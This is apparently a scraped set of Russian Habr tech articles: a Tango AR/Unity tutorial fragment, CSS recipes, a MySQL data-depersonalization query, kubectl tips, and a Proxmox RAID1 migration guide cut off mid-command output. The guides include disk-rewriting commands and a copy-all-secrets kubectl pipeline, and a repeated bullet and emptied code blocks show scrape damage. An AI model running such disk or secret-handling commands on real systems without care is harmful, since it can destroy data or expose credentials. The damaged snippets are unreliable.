Важно иметь в виду, что Structured Light и Time of Flight требуют наличия в устройстве одновременно инфракрасного (ИК) излучателя и ИК-камеры. Stereo технологии достаточно 2х камер и не требуется ИК-излучатель.
Отметим, что текущие устройства фактически предназначены для работы в закрытом помещении при умеренных расстояниях до объекта сканирования (от 0,5 до 4 метров). Такая конфигурация дает достаточно большую глубину на среднем расстоянии, при этом не предъявляет излишних требований к питанию для ИК-излучателя и производительности самого устройства при обработке глубины. По этой причине не рассчитывайте на сканирование очень близких объектов и распознавание жестов.
Следует помнить, что для устройства, которое воспринимает глубину с помощью ИК-камеры есть некоторые ситуации, когда точная работа затруднена.
* При слишком быстром движении Tango может не успевать строить глубину и вежливо просит двигаться помедленнее.
* При слишком быстром движении Tango может не успевать строить глубину и вежливо просит двигаться помедленнее.
* При слишком быстром движении Tango может не успевать строить глубину и вежливо просит двигаться помедленнее.
Наш проект с Tango
------------------
Принципы работы устройства мы рассмотрели достаточно подробно. Теперь давайте перейдем от теории к практике. Попробуем создать наш первый проект.
Танго предоставляет SDK для игрового движка Unity3D и поддерживает OpenGL и других 3D-системах через C или Java. Мы используем в своей работе в основном Unity3D и все примеры далее будет создаваться именно в его среде разработки.
**Интерграция с unity3D**
Для разработки приложений в Unity3D для Project Tango нам потребуются:
* Установленный [Android SDK](http://developer.android.com/sdk/index.html) 17+
* [Unity](http://unity3d.com/unity/download) (5.2.1 или выше), со средой настроенной для [Android](http://docs.unity3d.com/Manual/android-sdksetup.html) разработки.
* [Tango Unity SDK](https://developers.google.com/tango/downloads).
* Для ОС Windows следует установить [Google USB Driver](http://developer.android.com/sdk/win-usb.html) если устройство не было распознано автоматически.
**Описание проекта**
Мы решили реализовать расстановку миниатюр военной техники с использованием Tango. Была запланирована следующая не замысловатая последовательность действий:
* Пользователь берет в руки планшет Tango;
* На экране в тех местах, где возможно расставить технику — рисуется зеленый маркер, там, где невозможно — красный:
* Предлагается следующий выбор военной техники:
* Расставленную технику можно перемещать в плоскости экрана с помощью touch интерфейса, и она будет перемещаться по физической поверхности.
* Можно удалить расставленную технику.
* Введено ограничение — 10 расставленных экземпляров техники, при достаточной оптимизации моделей это число можно увеличить. Если моделей более 10, то заменяется самая первая расставленная модель и далее по циклу.
Интерфейс для демо решили сделать минималистичным, но понятным для пользователя.
**Реализация**
За основу мы взяли ресурсы из TangoSDK/Examples/AugmentedReality с [github](https://github.com/googlesamples/tango-examples-unity) и наши модели из уже [реализованного проекта.](https://play.google.com/store/apps/details?id=com.vizerra.vdnh9may&hl=ru)
**Описание реализации**
Для того, чтобы реализовать задуманное, опишем по шагам наши действия:
— Вывод изображения из камеры устройства на экран, в этом нам поможет Tango AR Camera
— Далее необходимо обеспечить повторение реального перемещения устройства в виртуальной сцене. За это отвечает технология Motion Tracking и в сцене юнити необходимо настроить *Tango Application*, включить галочку *Enable Motion Tracking*.
Так как мы хотим, чтобы технику можно было расставлять по реальной поверхности, имеющей представление в виртуальной сцене, можно предположить, что должны присутствовать данные, описывающие виртуальное пространство. В Tango за это отвечает **Tango Point Cloud**, поэтому разместим его на сцене.
— Общее представление иерархии сцены должно выглядеть следующим образом:
1. Нам потребуется интерфейс, поэтому разместим и настроим структуру интерфейса — объект UI, и для корректной работы интерфейса добавим EventSystem.
2. Также нам понадобятся данные, которые мы будем расставлять, то есть непосредственно модели техники. Шаблоны мы разместили в сцене, в объекте Prefabs.
3. Чтобы связать кнопки интерфейса с моделями, на каждую кнопку мы добавили скрипт
```
ViecleSpawnScript
```
и сделали ссылку в скрипте на модель. Теперь наши кнопки «знают» какая модель с ними связана.
— Теперь нам необходимо реализовать логику, которая позволит расставлять объекты, их перемещать, удалять. Логику мы реализовали в классе
```
VehicleSpawnRoot
```
Ниже вы можете увидеть его настройки:
***Instances Limit*** — максимальное количество расставленных моделей;
***Model Scale*** — масштаб моделей при расстановке;
***Point Cloud*** — ссылка на объект Tango Point Cloud;
***Placing Mark*** — ссылка на префаб маркера;
***Trace Layer Mask*** — настройка слоев, по которым возможна расстановка;
***Selection Info*** — ссылка на элемент интерфейса для отображения названия техники, которую выделили.
— Наше приложение в процессе работы постоянно должно рисовать маркер, маркер в обычном режиме будет располагаться там, где заканчивается луч из центра экрана к поверхности. Маркер представлен объектом в сцене **PlacementMarker**.
— Нам необходимо иметь данные — точку пересечения луча и результат пересечения. Получение координаты и результата трейса мы сделали через асинхронное получение, запущена Coroutine с функцией
```
LazyUpdate
```
В этой функции происходит определение пересечения луча с облаком точек Point Cloud Tango. Point Cloud Tango перестраивает сам Tango, поэтому мы имеем актуальное облако точек и можем брать из него данные.
Результат трейса может иметь следующие значения:
```
enum ETraceResults
{
Invalid, // результаты трейса недоступны
NotFound, // результаты трейса доступны, но пересечения с плоскостью не найдено
NotGround, // плоскость не выровнена по горизонтали.
ExistingObjectCrossing, // обнаружено пересечение с расставленным объектом дополненной реальности
Valid, // подходящее положение для расстановки
}
1.
```
Чтобы модель по нажатию на кнопку ставилась на поверхность в классе:
```
VehicleSpawnRoot
```
создадим функцию:
```
public void Spawn( GameObject prefab )
```
В функцию передается префаб с моделью для расстановки. В функции проверяется возможность расстановки и в случае успеха — создается модель в заданных координатах.
— Нам необходимо создать функционал для возможности перемещения расставленной модели. За перемещение модели отвечает функция:
```
private void UpdateTouchesMove()
```
Кратко опишем как это работает: в функции получаем данные касания через
```
Input.GetTouch( 0 );
```
Ищем пересечение с расставленными объектами в сцене, и в случае успеха помечаем объект как:
```
Selected
```
Также отправляем в функцию расчета пересечения с облаком точек позицию начала луча, она будет совпадать с позицией пальца на экране.
Далее в процессе перемещения по экрану, модель устанавливается в новую позицию, если результат трейса позволяет это сделать, напомню, трейс делается в асинхронном методе
```
LazyUpdate
```
Осталось дописать функцию по удалению расставленных моделей. В целом все готово, можно запускать!
Более подробно можно ознакомиться с кодом проекта на [gitHub](https://github.com/VIZERRA/TangoDemo).
Публикация приложения в Google play
-----------------------------------
Публикация приложений, использующих Tango framework требует совершения одного дополнительного действия в дополнение к стандартному процессу публикации Android приложений. Для того чтобы приложение могло быть установлено только на Tango совместимых устройствах необходимо добавить следующие строки в файл манифеста приложения.
```
...
```
В случае если вы хотите получить единый APK для устройств с поддержкой Tango и без нее, то вы можете определять в рантайме наличие возможностей Tango и использовать их возможности уже в самом приложении.
Резюме
------
Вот мы и прошли вместе с вами путь от теоретических основ до публикации приложения.
Смело можно сделать вывод, что платформу уже можно применять в коммерческих целях. Она работает достаточно стабильно. Включенные в нее технологии не конфликтуют между собой и хорошо дополняют друг друга, решая заявленные задачи.
К тому же начали выходить коммерческие устройства у крупных [вендоров](http://shop.lenovo.com/us/en/tango/). Единственная ложка дегтя в большой бочке мёда — это проблемы при работе устройства на ярком освещении. Очень хочется верить, что эту задачу Google и Intel будут решать в следующие годы или возможно уже решают. Спасибо за внимание и надеемся, что статья оказалась для вас интересной. | https://habr.com/ru/post/309876/ | null | ru | null |
# Подборка полезных CSS рецептов, или чем мы занимаемся на голых пятницах
В нашем отделе веб-разработки есть хорошая традиция. Каждые 2 недели у нас проходят «голые пятницы» — это мини-конференции, на которых мы делимся интересными и полезными знаниями, накопенными в процессе работы. Сегодня таких знаний у нас накопилось довольно много, и мы решили начать постепенно делиться ими с общественностью в лице Хабрасообщества.
Итак, представляем вашему вниманию сборку интересных и (надеемся) малоизвестных HTML и CSS-рецептов. Будем рады, если каждый из вас узнает что-то новое!
#### Центрирование блока по вертикали и горизонтали
Чаще всего такие блоки с помощью свойств top и left смещают на 50%, а затем сдвигают в центр отрицательными отступами. Но есть более элегантный способ, о котором знают не все:
```
{
position: absolute;
top: 0;
bottom: 0;
left: 0;
right: 0;
margin: auto;
}
```
В случае, если позиционируется блок, а не изображение, придется также задать ему высоту и ширину.
Этот прием не сработает в IE7. Надеюсь, вы на него давно не ориентируетесь)
#### Вывод строки текста в многоточие
Довольно-таки старое свойство (работает в IE 6!), однако официально было добавлено только к стандарту CSS3. Так как его применение нечасто встречается в сети, можно сделать вывод, что о нем знают не все.
```
.text-overflow {
white-space: nowrap; /* Перво-наперво, запретим перенос строк */
overflow: hidden; /* Скрываем текст, который не помещается в блок */
text-overflow: ellipsis; /* Уводим текст в многоточие */
display: block; /* Элемент обязательно должен быть блочным */
}
```
Блоку можно задать ширину, но по умолчанию он растягивается на всю ширину родителя. Соответственно, многоточие начнет появляться, когда ширина дочернего блока превысит ширину блока родительского. Работает данный прием только для одной строки.
#### Блоки с зависимой шириной
Допустим, мы хотим добавить на сайт боковую панель.
```
...
...
```
Причем, ширина контента зависит только от ширины панели. Как это сделать без явного указания ширины? Способ есть:
```
.content {
overflow: hidden;
}
.panel {
float: right;
width: 20%;
}
```
Как видите, «overflow: hidden» решил все проблемы.
#### Эллиптические углы
Немногие знают (или просто не используют на практике), что в параметре border-radius можно задавать не 4, а целых 8 параметров, по 2 параметра на угол. В этом случае первый параметр задает радиус по горизонтали, а второй — по вертикали. Пример:
```
.circle {
border-radius: 150px/100px 100px/200px 0 0;
}
```
#### Немного о псевдоэлементах
Псевдоэлементы :before и :after по умолчанию будут перекрывать элемент, к которому они добавлены. В случае, когда псевдоэлемент нужно поместить по оси Z ниже родителя, указывается отрицательный z-index.
Также, псевдоэлементы не будут работать с тегами, в которых не может быть текстового контента. К ним относятся ![](),
и, как ни странно, . | https://habr.com/ru/post/198138/ | null | ru | null |
# Деперсонализация базы MySQL. Интересная техника
В компании, где я работаю, мы используем деперсонализированную базу с Production-a. Ее суммарный объем на данный момент около 30 ГБ. Обфускация ruby скриптом занимала около 6 часов. Ускорение обработки можно добиться, если переписать это все в хранимую процедуру (stored procedure). Но у нас в проекте они запрещены… Увы и ах.
Тогда я задался вопросом: можно ли ускорить процесс по максимуму, деперсонализировать всю базу (или хотя бы полностью одну таблицу) используя только один оператор update? Проблема в том, что некоторые поля д.б. уникальными, а некоторые случайными значениями из списка.
Оказалось можно. Немного подумав, пришло решение с помощью пользовательских переменных, генератора псевдослучайных чисел и оператора case.
Ниже немного кода и пояснения:
Пусть есть таблица users с полями:
first\_name
gender
last\_name
address\_1
address\_2
home\_phone
birthdate
ssn
password
После обфускации должно быть:
**first\_name одно из:** женское — Patricia, Taylor, Susan, Lisa, Linda, Sandra, Carol, Debra, Teresa, Rebecca, Diana, Veronika, Helen, Alexandra, Svetlana, Elona, Marina, Mila, Olga, Vasilisa, Marta
мужское — David, John, Robert, Steven, William, Mark, Thomas, Michael, Richard, Kevin, Donald, Andrew, Ruslan, Eugene, Sergey, Alexandr, Yura, Ivan, Daniel
**gender:** без изменений
**last\_name:** Johnson, Anderson, Reed, Erickson, Frank, Lucas, Jenkins, Watson, Morgan, Kim, Kovalinen, Konovalov, Tereshko, Urchik, Kuleshov, Kisliakov, Areshnik, Pekar, Matroskin, Gallagher
**address\_1:** 123 Main Street
**address\_2:** если в оригинале ничего нет, то после обфускации должен быть NULL, в противном случае адрес 123 Main Street
**home\_phone:** если в оригинале ничего нет, то после обфускации должен быть NULL, в противном случае телефон 111-111-2222
**birthdate:** оставить год рождения тем же, а дату и месяц изменить
**ssn:** случайное уникальное для каждой строки значение из девяти символов, начинающееся с '30'
**password:** NULL
Решение:
```
SET @rand = 276821;
UPDATE users
SET first_name=
CASE WHEN gender='F' || gender='f' THEN ELT(FLOOR(1+RAND() * 21), 'Patricia', 'Taylor', 'Susan', 'Lisa', 'Linda', 'Sandra', 'Carol', 'Debra', 'Teresa', 'Rebecca', 'Diana', 'Veronika', 'Helen', 'Alexandra', 'Svetlana', 'Elona', 'Marina', 'Mila', 'Olga', 'Vasilisa', 'Marta')
ELSE ELT(FLOOR(1+RAND() * 19), 'David', 'John', 'Robert', 'Steven', 'William', 'Mark', 'Thomas', 'Michael', 'Richard', 'Kevin', 'Donald', 'Andrew', 'Ruslan', 'Eugene', 'Sergey', 'Alexandr', 'Yura', 'Ivan', 'Daniel')
END,
last_name = ELT(FLOOR(1+RAND() * 20), 'Johnson', 'Anderson', 'Reed', 'Erickson', 'Frank', 'Lucas', 'Jenkins', 'Watson', 'Morgan', 'Kim', 'Kovalinen', 'Konovalov', 'Tereshko', 'Urchik', 'Kuleshov', 'Kisliakov', 'Areshnik', 'Pekar', 'Matroskin', 'Gallagher'),
address_1 = '123 Main Street',
address_2 =
CASE WHEN address_2 is not null THEN 'Apt. 14'
ELSE null
END,
home_phone =
CASE WHEN home_phone is not null THEN '111-111-2222'
ELSE null
END,
birthdate =
CASE WHEN birthdate is not null THEN MAKEDATE(YEAR(birthdate),FLOOR(RAND()*365))
ELSE null
END,
ssn =
CASE WHEN ((@rand + 609673) % 1048576 <> 0) && ((@rand + 609673) % 1048576 <> 1000000)
THEN CONCAT('30',LPAD(@rand:=(@rand + 609673) % 1048576,7,'0'))
ELSE CONCAT('30',LPAD(@rand:=(@rand + 609673*2) % 1048576,7,'0'))
END,
password = null;
```
Как видно из кода, выбрать случайное значение из списка можно с помощью ELT(FLOOR(1+RAND() \* 21),...), где FLOOR(1+RAND() \* 21) выбор случайного значение в диапазоне от 1 до 21. ELT — выбирает соответствующую стоку с указанным индексом.
CASE помогает выбирать отдельно женские и мужские имена в зависимости от пола. Таких функций управления ходом выполнения, которые можно использовать в отдельном операторе четыре CASE, IF, IFNULL(), NULLIF().
Из того, что стоит еще упомянуть — это генератор случайного уникального значения. В качестве начального значения генератора было выбрано простое число (276821) и записано в пользовательскую переменную [rand](http://habrahabr.ru/users/rand/). Следующее значение устанавливается непосредственно в операторе CASE: [rand](http://habrahabr.ru/users/rand/):=( [rand](http://habrahabr.ru/users/rand/) + 609673\*2) % 1048576. Выражение CONCAT('30',LPAD( [rand](http://habrahabr.ru/users/rand/), 7, '0')) формирует окончательный вид значения [rand](http://habrahabr.ru/users/rand/).
Заключение:
Чего мы добились таким способом деперсонализируя базу?
1) Скорость выполнения сократилась с 6 часов до 4х минут.
2) Не используются хранимые процедуры.
3) Понятная (не сложная) логика работы и весь код собран в одном месте. | https://habr.com/ru/post/132869/ | null | ru | null |
# Kubernetes tips & tricks: удобные заготовки для kubectl
Внутри компании мы активно делимся между собой полученными знаниями: не только в виде формальных wiki-инструкций, но и сообщениями в Slack (а чтобы ничего не терялось, предусмотрена умная система поиска, но это уже отдельная история…). У нас накопилось уже большое количество разнообразных заготовок для консольных операций в Kubernetes с kubectl. Про них и пойдет речь в этой статье.
Какие-то команды могут оказаться повседневной обыденностью для некоторых читателей, но если найдутся и те, кто откроет для себя новое, улучшив тем самым свою эффективность, — цель статьи будет достигнута.
***NB**: Некоторые из перечисленных ниже команд были составлены нашими инженерами, а другие — найдены на просторах интернета. В последнем случае они были проверены и признаны полезными.*
Итак, поехали!
Получение списков pod'ов и узлов
--------------------------------
1. Думаю, что получение всех pod'ов из всех пространств имён путем указания ключа `--all-namespaces` не является секретом ни для кого. Но многие так привыкли к нему, что не заметили появления более короткой версии — `-A` (по меньшей мере, такая возможность точно присутствует начиная с релиза Kubernetes 1.15).
2. Как найти все проблемные pod'ы, которые не в запущенном состоянии (т.е. не `Running`)?
```
kubectl get pods -A --field-selector=status.phase!=Running | grep -v Complete
```
Кстати, присмотреться к `--field-selector` вообще очень полезно (см. [документацию](https://kubernetes.io/docs/concepts/overview/working-with-objects/field-selectors/)).
3. Получить список узлов с указанием объема их оперативной памяти:
```
kubectl get no -o json | \
jq -r '.items | sort_by(.status.capacity.memory)[]|[.metadata.name,.status.capacity.memory]| @tsv'
```
4. Получить список узлов и количество pod'ов на них:
```
kubectl get po -o json --all-namespaces | \
jq '.items | group_by(.spec.nodeName) | map({"nodeName": .[0].spec.nodeName, "count": length}) | sort_by(.count)'
```
5. Бывает, что по какой-то причине DaemonSet не выехал на какой-то узел. Искать вручную — утомительное занятие, поэтому вот мини-скрипт для получения списка узлов, на которые **не** выехали DaemonSet'ы:
```
ns=my-namespace
pod_template=my-pod
kubectl get node | grep -v \"$(kubectl -n ${ns} get pod --all-namespaces -o wide | fgrep ${pod_template} | awk '{print $8}' | xargs -n 1 echo -n "\|" | sed 's/[[:space:]]*//g')\"
```
6. Вот так с `kubectl top` можно получить pod'ы, которые потребляют максимальное количество процессора или памяти:
```
# cpu
kubectl top pods -A | sort --reverse --key 3 --numeric
# memory
kubectl top pods -A | sort --reverse --key 4 --numeric
```
7. Сортировка списка pod'ов — в данном случае, по количеству рестартов:
```
kubectl get pods --sort-by=.status.containerStatuses[0].restartCount
```
Разумеется, сортировка может быть и по другим полям (см. [PodStatus](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.18/#podstatus-v1-core) и [ContainerStatus](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.18/#containerstatus-v1-core)).
Получение другой информации
---------------------------
1. Когда производится отладка работы Ingress'а, мы неизбежно доходим до сервиса и далее ищем pod'ы по его селектору. Сначала я искал селектор в манифесте сервиса, но со временем позже начал применять `-o wide`:
```
kubectl -n jaeger get svc -o wide
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE SELECTOR
jaeger-cassandra ClusterIP None 9042/TCP 77d app=cassandracluster,cassandracluster=jaeger-cassandra,cluster=jaeger-cassandra
```
Как легко увидеть, в этом случае мы сразу получаем селектор, по которому сервис находит нужные pod'ы.
2. Получить по каждому контейнеру каждого pod'а его limits и requests:
```
kubectl get pods -n my-namespace -o=custom-columns='NAME:spec.containers[*].name,MEMREQ:spec.containers[*].resources.requests.memory,MEMLIM:spec.containers[*].resources.limits.memory,CPUREQ:spec.containers[*].resources.requests.cpu,CPULIM:spec.containers[*].resources.limits.cpu'
```
3. У команды `kubectl run` (а также `create`, `apply`, `patch`) есть замечательная возможность посмотреть изменения до их применения — это делает флаг `--dry-run`. А если применить вкупе с `-o yaml`, можно получить манифест требуемой сущности. Например:
```
kubectl run test --image=grafana/grafana --dry-run -o yaml
apiVersion: apps/v1
kind: Deployment
metadata:
creationTimestamp: null
labels:
run: test
name: test
spec:
replicas: 1
selector:
matchLabels:
run: test
strategy: {}
template:
metadata:
creationTimestamp: null
labels:
run: test
spec:
containers:
- image: grafana/grafana
name: test
resources: {}
status: {}
```
Осталось только сохранить в файл, удалить пару системных/ненужных полей и можно использовать дальше.
4. Получить пояснение по манифесту какого-либо ресурса:
```
kubectl explain hpa
KIND: HorizontalPodAutoscaler
VERSION: autoscaling/v1
DESCRIPTION:
configuration of a horizontal pod autoscaler.
FIELDS:
apiVersion
APIVersion defines the versioned schema of this representation of an
object. Servers should convert recognized schemas to the latest internal
value, and may reject unrecognized values. More info:
https://git.k8s.io/community/contributors/devel/api-conventions.md#resources
kind
Kind is a string value representing the REST resource this object
represents. Servers may infer this from the endpoint the client submits
requests to. Cannot be updated. In CamelCase. More info:
https://git.k8s.io/community/contributors/devel/api-conventions.md#types-kinds
metadata
Standard object metadata. More info:
https://git.k8s.io/community/contributors/devel/api-conventions.md#metadata
spec
behaviour of autoscaler. More info:
https://git.k8s.io/community/contributors/devel/api-conventions.md#spec-and-status.
status
current information about the autoscaler.
```
Полная и весьма полезная информация!
Сети
----
1. Получить внутренние IP-адреса узлов кластера:
```
kubectl get nodes -o json | \
jq -r '.items[].status.addresses[]? | select (.type == "InternalIP") | .address' | \
paste -sd "\n" -
```
2. Вывести все сервисы и nodePort, которые они занимают:
```
kubectl get --all-namespaces svc -o json | \
jq -r '.items[] | [.metadata.name,([.spec.ports[].nodePort | tostring ] | join("|"))]| @tsv'
```
3. В ситуациях, когда возникают проблемы с CNI (например, с Flannel), для выявления проблемного pod'а надо проверить маршруты. Здесь очень пригодятся подсети pod'ов, которые используются в кластере:
```
kubectl get nodes -o jsonpath='{.items[*].spec.podCIDR}' | tr " " "\n"
```
Логи
----
1. Получение логов pod'а c человекочитаемым timestamp на случай его отсутствия:
```
kubectl -n my-namespace logs -f my-pod --timestamps
2020-07-08T14:01:59.581788788Z fail: Microsoft.EntityFrameworkCore.Query[10100]
```
Выглядит намного удобнее, не так ли?
2. Не ждите, пока выведется весь лог контейнера pod'а — используйте `--tail`:
```
kubectl -n my-namespace logs -f my-pod --tail=50
```
3. Получить логи со всех *контейнеров* pod'а:
```
kubectl -n my-namespace logs -f my-pod --all-containers
```
4. Получить логи со всех pod'ов на основании label'а:
```
kubectl -n my-namespace logs -f -l app=nginx
```
5. Получить логи предыдущего контейнера, который, к примеру, упал:
```
kubectl -n my-namespace logs my-pod --previous
```
Другие быстрые действия
-----------------------
1. Как скопировать все секреты из одного пространства имён в другое?
```
kubectl get secrets -o json --namespace namespace-old | \
jq '.items[].metadata.namespace = "namespace-new"' | \
kubectl create-f -
```
2. Быстро создать самоподписанный сертификат для тестов:
```
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout tls.key -out tls.crt -subj "/CN=grafana.mysite.ru/O=MyOrganization"
kubectl -n myapp create secret tls selfsecret --key tls.key --cert tls.crt
```
Полезные ссылки по теме
-----------------------
Вместо заключения — небольшой список схожих материалов и коллекций, найденных в интернете:
* [Официальная подсказка (cheatsheet)](https://kubernetes.io/ru/docs/reference/kubectl/cheatsheet/) из документации Kubernetes;
* [Краткое практическое введение и неплохая табличка (2 стр.)](https://linuxacademy.com/blog/containers/kubernetes-cheat-sheet/) от Linux Academy, которая поможет сократить время начинающим инженерам:
* [Весьма обширный список команд](https://www.bluematador.com/learn/kubectl-cheatsheet) от Blue Matador, разбитый по разделам;
* [Подборка ссылок в gist'е](https://gist.github.com/pydevops/0efd399befd960b5eb18d40adb68ef83) на таблицы с командами, статьи по теме и некоторые команды;
* [GitHub-репозиторий Kubernetes-Cheat-Sheet](https://github.com/RehanSaeed/Kubernetes-Cheat-Sheet) от другого энтузиаста содержит только команды, разбитые по категориям;
* [GitHub-репозиторий kubectl-aliases](https://github.com/ahmetb/kubectl-aliases) — настоящий рай для любителей сокращений.
P.S.
----
Читайте также в нашем блоге:
* «[Полезные команды и советы при работе с Kubernetes через консольную утилиту kubectl](https://habr.com/ru/company/flant/blog/333956/)»;
* «[Консольные помощники для работы с Kubernetes через kubectl](https://habr.com/ru/company/flant/blog/341606/)»;
* «[Обзор графических интерфейсов для Kubernetes](https://habr.com/ru/company/flant/blog/506948/)». | https://habr.com/ru/post/512762/ | null | ru | null |
# Миграция PROXMOX VE 3.0 в software RAID1
В данном материале описывается процесс миграции свежеустановленного гипервизора Proxmox 3.0 в программный RAID1. Разработчики Proxmox в своей [wiki](http://pve.proxmox.com/wiki/Software_RAID) пишут о том, что данное решение официально не поддерживается и не рекомендуется к использованию. Взамен этого предлагается использовать решения на протестированных аппаратных raid-контроллерах. Тем не менее в сети можно найти несколько мануалов по этой теме и практики успешной эксплуатации softraid'а совместно с Proxmox'ом. К сожалению, большинство этих мануалов нельзя назвать пошаговыми руководствами к действию: все они содержат те или иные ошибки, которые мешают достигнуть требуемого результата. Взяв за основу один из таких [мануалов](http://dominicpratt.de/proxmox-ve-3-0-software-raid), я попытался исправить эту ситуацию. Приведённое ниже решение несколько раз было по шагам протестировано сначала в виртуалке, а затем использовано для миграции данных на реальном железе. В результате этого получился рабочий how-to, который предлагается вашему вниманию.
Перед началом миграции у нас имеется следующее:
* Сервер с двумя HDD одинаковой емкости (/dev/sda и /dev/sdb). Диски не в RAID'e.
* Proxmox 3.0 установлен с нуля на первый HDD (/dev/sda)
* В системе установлены все последние обновления (aptitude update && aptitude upgrade)
По окончании миграции оба HDD будут объединены в Soft RAID1, при этом мы сохраним данные, которые были на диске до начала миграции.
Миграция будет происходить в несколько этапов:
0. Установка необходимого ПО.
1. Подготовка дисков к переводу в RAID1.
2. Перенос /boot на /dev/md0.
3. Модификация /etc/fstab.
4. Модификация Grub2.
5. Перенос LVM на /dev/md1, перевод исходного диска в RAID1.
##### 0. Установка необходимого ПО.
Ставим mdadm и screen. При установке mdadm спросит, какие модули нужно включить при загрузке. Отвечаем «all». Screen ставить не обязательно, но он поможет нам подстраховаться на 5-м этапе, когда мы будем переносить LVM.
```
root@kvm0:~# aptitude install mdadm screen
```
##### 1. Подготовка дисков к переводу в RAID1.
Копируем разметку диска sda на sdb. Здесь и далее я привожу полный вывод команд, чтобы на каждом шаге можно было свериться с результатом.
```
root@kvm0:~# sfdisk -d /dev/sda | sfdisk -f /dev/sdb
Checking that no-one is using this disk right now ...
OK
Disk /dev/sdb: 4177 cylinders, 255 heads, 63 sectors/track
sfdisk: ERROR: sector 0 does not have an msdos signature
/dev/sdb: unrecognized partition table type
Old situation:
No partitions found
New situation:
Units = sectors of 512 bytes, counting from 0
Device Boot Start End #sectors Id System
/dev/sdb1 * 2048 1048575 1046528 83 Linux
/dev/sdb2 1048576 67108863 66060288 8e Linux LVM
/dev/sdb3 0 - 0 0 Empty
/dev/sdb4 0 - 0 0 Empty
Warning: partition 1 does not end at a cylinder boundary
Warning: partition 2 does not start at a cylinder boundary
Warning: partition 2 does not end at a cylinder boundary
Successfully wrote the new partition table
Re-reading the partition table ...
If you created or changed a DOS partition, /dev/foo7, say, then use dd(1)
to zero the first 512 bytes: dd if=/dev/zero of=/dev/foo7 bs=512 count=1
(See fdisk(8).)
```
Помечаем разделы диска sdb, как «Linux raid auto».
```
root@kvm0:~# sfdisk -c /dev/sdb 1 fd
Done
root@kvm0:~# sfdisk -c /dev/sdb 2 fd
Done
```
Чтобы убедиться, что на диске нет информации о ранее созданных RAID-массивах, делаем следующее.
```
root@kvm0:~# mdadm --zero-superblock /dev/sdb1
mdadm: Unrecognised md component device - /dev/sdb1
root@kvm0:~# mdadm --zero-superblock /dev/sdb2
mdadm: Unrecognised md component device - /dev/sdb2
```
Если диск чист, то видим вышеприведённые сообщения. В противном случае вывод команды будет пустой.
Создаем RAID-массив.
```
root@kvm0:~# mdadm --create -l 1 -n 2 /dev/md0 missing /dev/sdb1 --metadata=1.1
mdadm: array /dev/md0 started.
root@kvm0:~# mdadm --create -l 1 -n 2 /dev/md1 missing /dev/sdb2 --metadata=1.1
mdadm: array /dev/md1 started.
```
Добавляем информацию о массиве в mdadm.conf
```
root@kvm0:~# cp /etc/mdadm/mdadm.conf /etc/mdadm/mdadm.conf_orig
root@kvm0:~# mdadm --examine --scan >> /etc/mdadm/mdadm.conf
```
##### 2. Перенос /boot на /dev/md0.
Создаём файловую систему на /dev/md0. Монтируем её в /mnt/md0 и копируем туда содержимое /boot.
```
root@kvm0:~# mkfs.ext3 /dev/md0
mke2fs 1.42.5 (29-Jul-2012)
Filesystem label=
OS type: Linux
Block size=1024 (log=0)
Fragment size=1024 (log=0)
Stride=0 blocks, Stripe width=0 blocks
131072 inodes, 522944 blocks
26147 blocks (5.00%) reserved for the super user
First data block=1
Maximum filesystem blocks=67633152
64 block groups
8192 blocks per group, 8192 fragments per group
2048 inodes per group
Superblock backups stored on blocks:
8193, 24577, 40961, 57345, 73729, 204801, 221185, 401409
Allocating group tables: done
Writing inode tables: done
Creating journal (8192 blocks): done
Writing superblocks and filesystem accounting information: done
root@kvm0:~# mkdir /mnt/md0
root@kvm0:~# mount /dev/md0 /mnt/md0
root@kvm0:~# cp -ax /boot/* /mnt/md0
```
##### 3. Модификация /etc/fstab.
Комментируем в /etc/fstab монтирование boot-раздела через UUID и прописываем монтирование раздела через /dev/md0.
```
root@kvm0:~# sed -i 's/^UUID/#UUID/' /etc/fstab
root@kvm0:~# echo '/dev/md0 /boot ext3 defaults 0 1' >> /etc/fstab
```
В итоге /etc/fstab должен выглядеть так.
```
root@kvm0:~# cat /etc/fstab
#
/dev/pve/root / ext3 errors=remount-ro 0 1
/dev/pve/data /var/lib/vz ext3 defaults 0 1
#UUID=eb531a48-dea8-4356-9b56-8aa800f14d68 /boot ext3 defaults 0 1
/dev/pve/swap none swap sw 0 0
proc /proc proc defaults 0 0
/dev/md0 /boot ext3 defaults 0 1
```
Перезагружаемся.
##### 4. Модификация Grub2.
Добавляем поддержку RAID1.
```
root@kvm0:~# echo 'GRUB_DISABLE_LINUX_UUID=true' >> /etc/default/grub
root@kvm0:~# echo 'GRUB_PRELOAD_MODULES="raid dmraid"' >> /etc/default/grub
root@kvm0:~# echo 'GRUB_TERMINAL=console' >> /etc/default/grub
root@kvm0:~# echo raid1 >> /etc/modules
root@kvm0:~# echo raid1 >> /etc/initramfs-tools/modules
```
Устанавливаем загрузчик на оба диска.
```
root@kvm0:~# grub-install /dev/sda --recheck
Installation finished. No error reported.
root@kvm0:~# grub-install /dev/sdb --recheck
Installation finished. No error reported.
root@kvm0:~# update-grub
Generating grub.cfg ...
Found linux image: /boot/vmlinuz-2.6.32-20-pve
Found initrd image: /boot/initrd.img-2.6.32-20-pve
Found memtest86+ image: /memtest86+.bin
Found memtest86+ multiboot image: /memtest86+_multiboot.bin
done
root@kvm0:~# update-initramfs -u
update-initramfs: Generating /boot/initrd.img-2.6.32-20-pve
```
##### 5. Перенос LVM на /dev/md1, перевод исходного диска в RAID1.
Добавляем boot-раздел на исходном диске /dev/sda в RAID1.
```
root@kvm0:~# sfdisk -c /dev/sda 1 fd
Done
root@kvm0:~# mdadm --add /dev/md0 /dev/sda1
mdadm: added /dev/sda1
```
Теперь нам нужно перенести данные с LVM-раздела /dev/sda2 в /dev/md1. Перенос данных при помощи pvmove занимает довольно большое время, поэтому дальнейшие действия выполняем в screen'е.
```
root@kvm0:~# screen bash
root@kvm0:~# pvcreate /dev/md1
Writing physical volume data to disk "/dev/md1"
Physical volume "/dev/md1" successfully created
root@kvm0:~# vgextend pve /dev/md1
Volume group "pve" successfully extended
root@kvm0:~# pvmove /dev/sda2 /dev/md1
/dev/sda2: Moved: 2.0%
/dev/sda2: Moved: 14.5%
/dev/sda2: Moved: 17.5%
/dev/sda2: Moved: 19.2%
/dev/sda2: Moved: 20.3%
/dev/sda2: Moved: 24.7%
/dev/sda2: Moved: 31.4%
/dev/sda2: Moved: 32.5%
/dev/sda2: Moved: 43.6%
/dev/sda2: Moved: 63.3%
